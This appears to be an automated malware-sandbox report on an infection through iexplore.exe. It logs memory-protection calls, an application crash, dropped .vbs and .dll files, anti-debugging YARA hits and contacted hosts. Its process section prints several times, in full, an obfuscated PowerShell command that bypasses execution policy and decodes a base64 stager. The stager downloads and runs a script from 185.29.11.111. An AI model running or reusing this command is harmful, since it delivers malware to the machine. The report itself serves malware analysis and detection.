NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003450000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef69c9000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:35 p.m.	process_identifier: 1884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feeca49000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 region_size: 266240 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002450000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002490000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077186000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772d6000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077181000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076ba0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772bb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe117000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 16, 2024, 5:34 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdbe4000 process_handle: 0xffffffffffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process iexplore.exe with pid 1884 crashed
__exception__ Oct. 16, 2024, 5:35 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 107602656 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 107608608 registers.r11: 107604416 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1901359829 registers.r13: 0	1	0	0

Application Crash

Process iexplore.exe with pid 1884 crashed

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 16, 2024, 5:35 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Roaming\nicepciturewithgreatpersonentiretime.vbs
file	c:\Users\test22\AppData\Local\Temp\0lmkrb0q.dll

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	C:\Windows\System32\cmd.exe "/c poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"
cmdline	"C:\Windows\system32\cmd.exe" "/c poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"
cmdline	poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))"

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\0lmkrb0q.dll

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Oct. 16, 2024, 5:35 p.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: "/c poWERSHElL.eXe -ex bYPASs -nop -w 1 -C devIcEcredENtialdEPLoymeNT.EXe ; iEx($(iEX('[SysTem.TEXT.encOdING]'+[cHaR]58+[char]0x3A+'utf8.GetsTring([sYSTeM.CONvErt]'+[cHar]0X3A+[ChAR]58+'froMBaSE64STRiNg('+[Char]34+'JDdwV281R0xJNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRW1CRVJERUZJbklUSW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG1aTlB0QUhibSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1VWix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMZkhULEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXNaVHApOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYU5oIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkN3BXbzVHTEk3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTg1LjI5LjExLjExMS80NTUvbmljZXBjaXR1cmV3aXRoZ3JlYXRwZXJzb25lbnRpcmV0aW1lLnRJRiIsIiRlTlY6QVBQREFUQVxuaWNlcGNpdHVyZXdpdGhncmVhdHBlcnNvbmVudGlyZXRpbWUudmJzIiwwLDApO1N0QVJ0LVNMZWVQKDMpO1NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5pY2VwY2l0dXJld2l0aGdyZWF0cGVyc29uZW50aXJldGltZS52YnMi'+[cHar]0X22+'))')))" filepath: C:\Windows\System32\cmd.exe	1	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 16, 2024, 5:35 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x000007fffff80000 process_handle: 0xffffffffffffffff	1	0	0

URL downloaded by powershell script (1 event)

Data received

Poweshell is sending data to a remote host (1 event)

Data sent

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 16, 2024, 5:35 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\0lmkrb0q.cmdline"
cmdline	"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1884 CREDAT:145409

Communicates with host for which no DNS query was performed (2 events)

host	117.18.232.200
host	185.29.11.111

